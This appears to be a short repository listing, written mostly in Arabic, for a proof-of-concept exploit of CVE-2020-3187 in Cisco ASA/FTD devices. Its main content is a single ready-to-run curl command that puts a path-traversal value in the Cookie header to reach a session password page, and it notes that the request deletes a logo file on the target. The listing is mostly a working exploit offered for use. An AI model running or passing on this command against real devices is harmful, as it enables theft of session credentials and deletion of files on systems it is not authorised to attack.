sujaygr8/cve-2020-3187إثبات مفهوم استغلال لثغرة CVE-2020-3187 تستهدف كشف كلمة مرور الجلسة في Cisco ASA/FTD عبر رأس ملف تعريف ارتباط HTTP مصمم.
curl -H "Cookie: token=. ./+CSOU+/csco_logo.gif" https://target.com/+CSCOE+/session_password.html
(سيتم حذف logo.gif)
